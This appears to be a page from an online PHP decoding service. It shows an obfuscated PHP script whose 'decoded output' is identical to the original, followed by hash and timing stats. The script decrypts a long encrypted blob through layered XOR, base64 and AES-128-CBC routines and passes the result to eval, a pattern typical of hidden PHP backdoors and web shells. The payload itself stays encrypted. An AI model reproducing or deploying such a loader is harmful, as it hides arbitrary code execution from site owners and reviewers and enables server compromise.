Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

class nIgMpTscpjwvnD{public function KoJD_jzAVCimjiiz($str,$key){$DfGeB=new NTKtcfllpb;$st..

Decoded Output download

<?  class nIgMpTscpjwvnD{public function KoJD_jzAVCimjiiz($str,$key){$DfGeB=new NTKtcfllpb;$str=$this->bind_key($DfGeB->WB____Eyl 
($str),$key);$strLen=strlen($str);$tmp="";for($i=0;$i<$strLen; $i++){$tmp.=$str[$i]^$str[++$i];}return $tmp;}public function bind_key($str, $key){$encrypt_key=md5($key);$tmp="";$strLen=strlen($str);for 
($i=0,$j=0;$i<$strLen;$i++,$j++){$j=$j==32?0:$j;$tmp.= $str[$i]^$encrypt_key[$j];}return $tmp;}}class vGYyha09xHac{function __construct($mpJEJ_ZFz8U_){self::$CMyi_iyXzqFB=$mpJEJ_ZFz8U_;}static function ctocDnoiOpokCH_t(){eval(self::$CMyi_iyXzqFB);}static $CMyi_iyXzqFB;}$XxvRMSKADNfR="UFxTDQwlAi8NLANeCClTKlB2UDFTaVYgA2xRYVhwUScJewE9UzBdNgp1ADJZKlckAXRTOFJ1VyAEZAZzX3ZSaFA+U3cMbwIlDXIDMQhnU2RQM1AhUyZWIgNhUXZYcVFuCWcBO1N1XS0KYAAvWXZXDgEnU3pSJ1cxBGYGJV9sUndQNFMnDGwCdw1zAycIfVNyUDdQJ1NjVnQDbVFqWGRRYgl6AXVTJV0oCm4AJFkoV2EBZFMkUidXJwRqBjdfbFJnUCRTawxlAnANdQN0CHtTaVAyUDpTYlZ0A35Ra1hsUWIJJgFfU3VdcAohADVZKldlAWxTNVInVzAEcwY6X3ZSa1A1U2IMKgJoDWkDOAhsU2NQI1A/U2NWdAN3UWdYY1FrCW0BdVMmXT8KYgAiWSpXbQFzUylSJ1cjBGwGJ19gUiRQJlNiDGsCaQ1yAzwIcFMuUFxQc1MsVl4DJFEuWCJRRwl4ATRTNl0xCmAAMFk9 
68b3404c7ab70eeb9ljuInDfbsay7GrHAUlaEZwR6xalKf8S7TdYsla6yRTPHWiaFo4+LsJcMIXL93t5OYXmaTtDvTxgLM4SaZI+ok7ARuRVQ/MtRm6vnAgSK+a3r8kzHMajIZV0ofgcadpCHWyIliJLZjt91Grwf6k9r3n/nA/U1l2lt/YbOHAyOFkAvQ8gw4NCXhZ3A3fOlVRjgdke6myJOYnM7+RUWzH5e8jUiPOPjqhT9+F/Q+GmtkL6C9qDgbCN03Dzo43bnV+s 
830d04f9c4bc1af7JICdL+sAhvQPYTp3lgpegT8w/TJ1ayt/STaCPU//NFpw9J216U2nqdsLlOXoGdjofdmgSJU6u5e04do2hfaLaMmbk8MFb/86HbZN/1gW4y5DQfwggDAEnun2NkIeItiEPW1Gtuu7nSCp8/XF+JYK0yeLR+kVPlgYpf4O8oAdZAdFHmu63+R7IqawN64buiXkXkKLUE/FL/35Y2M9K2OurlOsMWwBv9c0MTP/dolvz0DwrJxOQswYW7zqBjiHt70q 
3ab7bf429faad8554VVhWsS+/l3R+MIn9ZDL6hBO/3/WVAt400HuU607sBs4NCkeXbnDnsU3ukzT5qZQp578LnkolyktOHZpmZSHohJWy6VDAz4C5afEJEHVvVQSXvG3G+gu0U5eOon9U4QSyWMX/aTv6uoGk3YSujkEZZgc5Qj65tr3Um0DZheTQTeS/2Fximuad07jFd3NKGX9M9VN2Lu3osD+XiQiP0sNhRqrJgGfIrSAPKuZhu1raYta0TxHJ5PuhRaGJYyJKuuL 
c62db1676248c4ffOWYBrrMo3sIhUr8PqqsWVZ4NtvlsaLP1Mt+up43NYoUskGOSaeYaBC7cHw4R+Lzr4/3ooK39XGe923mIwoB6tmc/SQYTl5xbV5HLDIYwYqgbDlgo4QxkjS2eWttRO5AGYdI1ZoYxCqVzQzOiVxHgSzZzv1xZ5SCw4+xcjRTJ4gd2+uq1TJNTsSkYxuOxF2J5Y9RUjs5bk7DyKWxBxYpmmlHJk3rdA59PWxfa86Iw9T9Ysb70VbVN/Vl9ZVKLeBvZ 
VRsIDANRAloOVwUXXQgBB1AEUx5aW1MDBEIMFwEIABBQFAgOVH5Vcl4hBSAAdAUzUHYAKlM9WlVUWVAMDjcHJFUmCDADWgJ2DmAFJl0zASJQIlN4Wi9TdQR1DGoBLQB6UHEIH1QHVQBeGQUdAFEFAlAJAFNTSVoLVAdQKQ50ByVVJggpA2ACJQ4sBWldUQFYUF9TM1p6UyMEbwwGASgAM1AlCDNUIlUmXn0FcgAlBSBQZQB1UypaeFQQUFAOBgcdVRsIDANRAloOVQUdXQ8BBlAQUxlaSlMdBEcMCgF3AHZQdQgqVGZVJF51BXsAOgVbUFwAClNlWi1UIVBpDgsHIlUxCCgDagJ1DnEFel18AXZQIFNjWnlTfQQjDBoBDgAEUB0IE1QCVQZeCgURAE4FGFAYAEZTRVoMVAdQTA4ZBxRVGwgJA1ECKQ4lBWFdbAFyUH9Ta1oCU1sECgx9AS0AY1AnCHxUb1VyXjYFJwBz 
b6aabd4a7e804ddaS6d0RV/eNcO8F8/CebQ6SLYq6v4psBGi6gX7wOHiQ2MXFNM+/XACg8Fgu7z/5rPUPIDUD50pzO5hjpFWCr5KCG9rkyY0aOavMexjYXyeM25mVM3+HHqH12jgIO3Ba12RnSHaBDyibKU+ameSKERysXJiL58Gcuv4m1RxSrmOtYlF7cVY0K1qPNFqWAvPCn+RJZqPODvAfYc1lc5Xzn+6pDh1t3YHS07DE9OiRYfRVD7yVh8AfLsvDsqg9jK1nPJ9 
1a621e8320f70e6biuIUg2h991wpfQfHlJVuONit3ElCB73k4VSLJbi3D8lRg6DxKYlbaSoQ9nwzMr+IEM2tP6FsLGDl3KwSRq+i48FQRHi0qDWE4yO5xxOhkDwKOkGiHeii3dyWrQQpr1qzwtyygKzLXn3KR46V+o5xpJsLbzOvhMXQb17zAucIgSOeSTHDAMDTxj0hF5sCXxGd6PXSHOAKRnD6i59aRgGnACJU+RSWkW5DW2Q/IIMNqiFIoJfh9DNZrR8WtUH/JypV 
6060eaa6926d0480Dpc+hsn2JI+q2p6GolQ/LjvQpJ/r2nJqbvuUPW68moESkI5AI24qSG5/JC0M171iqeD9MJWxhefFaCYiOYEuemVK5r4oYZaK/bSXkC98e5282XCqt/gkh3OQRUBq9kPox24Pd1tQp+ot6rBDSyQy/dVvcq4iw7yrjlMEf2d/NFFgEf+wkxw+5g3L1Er/GEA+RZ0VdMt+jYX8glwqOy9hHxx0EfGtrFR0OAulZLTt/pbMwf0pBdToZstkRI6QJ0HH 
ee2fdb30c27c1d86Mi4tVXWlPNzZgXdaUSvUsvwQCWE6bHJMF1fPTHXcyprLn3EeMEkfltuO21Jbj2eYh2zonyKFIQ7vY/tlLTvYj3U37tyC7flYwCUYjYYgMHr2laoY0mYfoZiash6xXHb9HcBkWNhnFi0K1iYFpi1uArA7NFqTow62aMdfL8mLXytkNcOi7mjRa0UAwFQpi5/1qfkTLzQoh+2IiY7xAJuSCq23OGDCYLTxV/EDKF7URp5wgX1ssT9n0rYIYh3Ir1sl"; 
$data=explode(PHP_EOL, $XxvRMSKADNfR);$new_parts=[];$new_html="";$JHUBZFlVbBuTvVrp=new jIZWFx_Qx1F();$OqeTwX_rbRE_dg61=new nIgMpTscpjwvnD();foreach($data as $k=>$v){if($k%5==0){$new_parts[$k]=$OqeTwX_rbRE_dg61-> 
KoJD_jzAVCimjiiz($v,"46a8555d3287510c");}else{$new_parts[$k]=$JHUBZFlVbBuTvVrp->KoJD_jzAVCimjiiz($v,"46a8555d3287510c");}}$GPbiDa_nlADcEN2E=implode("",$new_parts);$HwTaeJxQMQYOaRfh=new vGYyha09xHac($GPbiDa_nlADcEN2E);call_user_func(array($HwTaeJxQMQYOaRfh,"ctocDnoiOpokCH_t"));class Random{static function getHex($len){$raw="0123456789abcdef";$rand_hex=substr($raw,rand(1,15),1);for($i=1;$i<=$len-1;$i++)$rand_hex.=substr($raw,rand(0,15),1);return $rand_hex;}}class NTKtcfllpb{private $rSx_ytSy_KvoZL6="word";private function gbQ_YdrcUiA($bYlH){$k=$this->IYxvIlsF3_q();return $k($bYlH);}public function __call($name,$arguments){if($name=="WB____Eyl"){RETURN $this->gbQ_YdrcUiA($arguments[0]);}}private $rDzyCWB4FX="2_root";private function IYxvIlsF3_q(){$UWVNHRtabJOH=md5($this->rDzyCWB4FX);$sq2=substr(md5($this->rSx_ytSy_KvoZL6),27,2);$eb8=substr($UWVNHRtabJOH,14,1).substr 
($UWVNHRtabJOH,16,1)."s".substr(md5("87"),2,1);$kq7=(substr($UWVNHRtabJOH,3,2)-substr($UWVNHRtabJOH,19,2))."_";$mn3=substr(md5("EDE"),7,1).substr($this->rDzyCWB4FX,4,1);return $eb8.$kq7.$sq2.$mn3.$sq2;}}class jIZWFx_Qx1F{static function set(){$aes = Random::getHex(16);return $aes;}static function KoJD_jzAVCimjiiz($iv_with_encrypt_text,$aes){ 
$encrypt_text=substr($iv_with_encrypt_text,16);$iv=substr($iv_with_encrypt_text,0,16);$text=openssl_decrypt($encrypt_text,"AES-128-CBC",$aes,0,$iv);return $text;}} ?>

Did this file decode correctly?

Original Code

class nIgMpTscpjwvnD{public function KoJD_jzAVCimjiiz($str,$key){$DfGeB=new NTKtcfllpb;$str=$this->bind_key($DfGeB->WB____Eyl
($str),$key);$strLen=strlen($str);$tmp="";for($i=0;$i<$strLen; $i++){$tmp.=$str[$i]^$str[++$i];}return $tmp;}public function bind_key($str, $key){$encrypt_key=md5($key);$tmp="";$strLen=strlen($str);for
($i=0,$j=0;$i<$strLen;$i++,$j++){$j=$j==32?0:$j;$tmp.= $str[$i]^$encrypt_key[$j];}return $tmp;}}class vGYyha09xHac{function __construct($mpJEJ_ZFz8U_){self::$CMyi_iyXzqFB=$mpJEJ_ZFz8U_;}static function ctocDnoiOpokCH_t(){eval(self::$CMyi_iyXzqFB);}static $CMyi_iyXzqFB;}$XxvRMSKADNfR="UFxTDQwlAi8NLANeCClTKlB2UDFTaVYgA2xRYVhwUScJewE9UzBdNgp1ADJZKlckAXRTOFJ1VyAEZAZzX3ZSaFA+U3cMbwIlDXIDMQhnU2RQM1AhUyZWIgNhUXZYcVFuCWcBO1N1XS0KYAAvWXZXDgEnU3pSJ1cxBGYGJV9sUndQNFMnDGwCdw1zAycIfVNyUDdQJ1NjVnQDbVFqWGRRYgl6AXVTJV0oCm4AJFkoV2EBZFMkUidXJwRqBjdfbFJnUCRTawxlAnANdQN0CHtTaVAyUDpTYlZ0A35Ra1hsUWIJJgFfU3VdcAohADVZKldlAWxTNVInVzAEcwY6X3ZSa1A1U2IMKgJoDWkDOAhsU2NQI1A/U2NWdAN3UWdYY1FrCW0BdVMmXT8KYgAiWSpXbQFzUylSJ1cjBGwGJ19gUiRQJlNiDGsCaQ1yAzwIcFMuUFxQc1MsVl4DJFEuWCJRRwl4ATRTNl0xCmAAMFk9
68b3404c7ab70eeb9ljuInDfbsay7GrHAUlaEZwR6xalKf8S7TdYsla6yRTPHWiaFo4+LsJcMIXL93t5OYXmaTtDvTxgLM4SaZI+ok7ARuRVQ/MtRm6vnAgSK+a3r8kzHMajIZV0ofgcadpCHWyIliJLZjt91Grwf6k9r3n/nA/U1l2lt/YbOHAyOFkAvQ8gw4NCXhZ3A3fOlVRjgdke6myJOYnM7+RUWzH5e8jUiPOPjqhT9+F/Q+GmtkL6C9qDgbCN03Dzo43bnV+s
830d04f9c4bc1af7JICdL+sAhvQPYTp3lgpegT8w/TJ1ayt/STaCPU//NFpw9J216U2nqdsLlOXoGdjofdmgSJU6u5e04do2hfaLaMmbk8MFb/86HbZN/1gW4y5DQfwggDAEnun2NkIeItiEPW1Gtuu7nSCp8/XF+JYK0yeLR+kVPlgYpf4O8oAdZAdFHmu63+R7IqawN64buiXkXkKLUE/FL/35Y2M9K2OurlOsMWwBv9c0MTP/dolvz0DwrJxOQswYW7zqBjiHt70q
3ab7bf429faad8554VVhWsS+/l3R+MIn9ZDL6hBO/3/WVAt400HuU607sBs4NCkeXbnDnsU3ukzT5qZQp578LnkolyktOHZpmZSHohJWy6VDAz4C5afEJEHVvVQSXvG3G+gu0U5eOon9U4QSyWMX/aTv6uoGk3YSujkEZZgc5Qj65tr3Um0DZheTQTeS/2Fximuad07jFd3NKGX9M9VN2Lu3osD+XiQiP0sNhRqrJgGfIrSAPKuZhu1raYta0TxHJ5PuhRaGJYyJKuuL
c62db1676248c4ffOWYBrrMo3sIhUr8PqqsWVZ4NtvlsaLP1Mt+up43NYoUskGOSaeYaBC7cHw4R+Lzr4/3ooK39XGe923mIwoB6tmc/SQYTl5xbV5HLDIYwYqgbDlgo4QxkjS2eWttRO5AGYdI1ZoYxCqVzQzOiVxHgSzZzv1xZ5SCw4+xcjRTJ4gd2+uq1TJNTsSkYxuOxF2J5Y9RUjs5bk7DyKWxBxYpmmlHJk3rdA59PWxfa86Iw9T9Ysb70VbVN/Vl9ZVKLeBvZ
VRsIDANRAloOVwUXXQgBB1AEUx5aW1MDBEIMFwEIABBQFAgOVH5Vcl4hBSAAdAUzUHYAKlM9WlVUWVAMDjcHJFUmCDADWgJ2DmAFJl0zASJQIlN4Wi9TdQR1DGoBLQB6UHEIH1QHVQBeGQUdAFEFAlAJAFNTSVoLVAdQKQ50ByVVJggpA2ACJQ4sBWldUQFYUF9TM1p6UyMEbwwGASgAM1AlCDNUIlUmXn0FcgAlBSBQZQB1UypaeFQQUFAOBgcdVRsIDANRAloOVQUdXQ8BBlAQUxlaSlMdBEcMCgF3AHZQdQgqVGZVJF51BXsAOgVbUFwAClNlWi1UIVBpDgsHIlUxCCgDagJ1DnEFel18AXZQIFNjWnlTfQQjDBoBDgAEUB0IE1QCVQZeCgURAE4FGFAYAEZTRVoMVAdQTA4ZBxRVGwgJA1ECKQ4lBWFdbAFyUH9Ta1oCU1sECgx9AS0AY1AnCHxUb1VyXjYFJwBz
b6aabd4a7e804ddaS6d0RV/eNcO8F8/CebQ6SLYq6v4psBGi6gX7wOHiQ2MXFNM+/XACg8Fgu7z/5rPUPIDUD50pzO5hjpFWCr5KCG9rkyY0aOavMexjYXyeM25mVM3+HHqH12jgIO3Ba12RnSHaBDyibKU+ameSKERysXJiL58Gcuv4m1RxSrmOtYlF7cVY0K1qPNFqWAvPCn+RJZqPODvAfYc1lc5Xzn+6pDh1t3YHS07DE9OiRYfRVD7yVh8AfLsvDsqg9jK1nPJ9
1a621e8320f70e6biuIUg2h991wpfQfHlJVuONit3ElCB73k4VSLJbi3D8lRg6DxKYlbaSoQ9nwzMr+IEM2tP6FsLGDl3KwSRq+i48FQRHi0qDWE4yO5xxOhkDwKOkGiHeii3dyWrQQpr1qzwtyygKzLXn3KR46V+o5xpJsLbzOvhMXQb17zAucIgSOeSTHDAMDTxj0hF5sCXxGd6PXSHOAKRnD6i59aRgGnACJU+RSWkW5DW2Q/IIMNqiFIoJfh9DNZrR8WtUH/JypV
6060eaa6926d0480Dpc+hsn2JI+q2p6GolQ/LjvQpJ/r2nJqbvuUPW68moESkI5AI24qSG5/JC0M171iqeD9MJWxhefFaCYiOYEuemVK5r4oYZaK/bSXkC98e5282XCqt/gkh3OQRUBq9kPox24Pd1tQp+ot6rBDSyQy/dVvcq4iw7yrjlMEf2d/NFFgEf+wkxw+5g3L1Er/GEA+RZ0VdMt+jYX8glwqOy9hHxx0EfGtrFR0OAulZLTt/pbMwf0pBdToZstkRI6QJ0HH
ee2fdb30c27c1d86Mi4tVXWlPNzZgXdaUSvUsvwQCWE6bHJMF1fPTHXcyprLn3EeMEkfltuO21Jbj2eYh2zonyKFIQ7vY/tlLTvYj3U37tyC7flYwCUYjYYgMHr2laoY0mYfoZiash6xXHb9HcBkWNhnFi0K1iYFpi1uArA7NFqTow62aMdfL8mLXytkNcOi7mjRa0UAwFQpi5/1qfkTLzQoh+2IiY7xAJuSCq23OGDCYLTxV/EDKF7URp5wgX1ssT9n0rYIYh3Ir1sl";
$data=explode(PHP_EOL, $XxvRMSKADNfR);$new_parts=[];$new_html="";$JHUBZFlVbBuTvVrp=new jIZWFx_Qx1F();$OqeTwX_rbRE_dg61=new nIgMpTscpjwvnD();foreach($data as $k=>$v){if($k%5==0){$new_parts[$k]=$OqeTwX_rbRE_dg61->
KoJD_jzAVCimjiiz($v,"46a8555d3287510c");}else{$new_parts[$k]=$JHUBZFlVbBuTvVrp->KoJD_jzAVCimjiiz($v,"46a8555d3287510c");}}$GPbiDa_nlADcEN2E=implode("",$new_parts);$HwTaeJxQMQYOaRfh=new vGYyha09xHac($GPbiDa_nlADcEN2E);call_user_func(array($HwTaeJxQMQYOaRfh,"ctocDnoiOpokCH_t"));class Random{static function getHex($len){$raw="0123456789abcdef";$rand_hex=substr($raw,rand(1,15),1);for($i=1;$i<=$len-1;$i++)$rand_hex.=substr($raw,rand(0,15),1);return $rand_hex;}}class NTKtcfllpb{private $rSx_ytSy_KvoZL6="word";private function gbQ_YdrcUiA($bYlH){$k=$this->IYxvIlsF3_q();return $k($bYlH);}public function __call($name,$arguments){if($name=="WB____Eyl"){RETURN $this->gbQ_YdrcUiA($arguments[0]);}}private $rDzyCWB4FX="2_root";private function IYxvIlsF3_q(){$UWVNHRtabJOH=md5($this->rDzyCWB4FX);$sq2=substr(md5($this->rSx_ytSy_KvoZL6),27,2);$eb8=substr($UWVNHRtabJOH,14,1).substr
($UWVNHRtabJOH,16,1)."s".substr(md5("87"),2,1);$kq7=(substr($UWVNHRtabJOH,3,2)-substr($UWVNHRtabJOH,19,2))."_";$mn3=substr(md5("EDE"),7,1).substr($this->rDzyCWB4FX,4,1);return $eb8.$kq7.$sq2.$mn3.$sq2;}}class jIZWFx_Qx1F{static function set(){$aes = Random::getHex(16);return $aes;}static function KoJD_jzAVCimjiiz($iv_with_encrypt_text,$aes){
$encrypt_text=substr($iv_with_encrypt_text,16);$iv=substr($iv_with_encrypt_text,0,16);$text=openssl_decrypt($encrypt_text,"AES-128-CBC",$aes,0,$iv);return $text;}}

Function Calls

None

Variables

None

Stats

MD5 cf0e37f2adac68dacc50b0c14f7dc40e
Eval Count 0
Decode Time 61 ms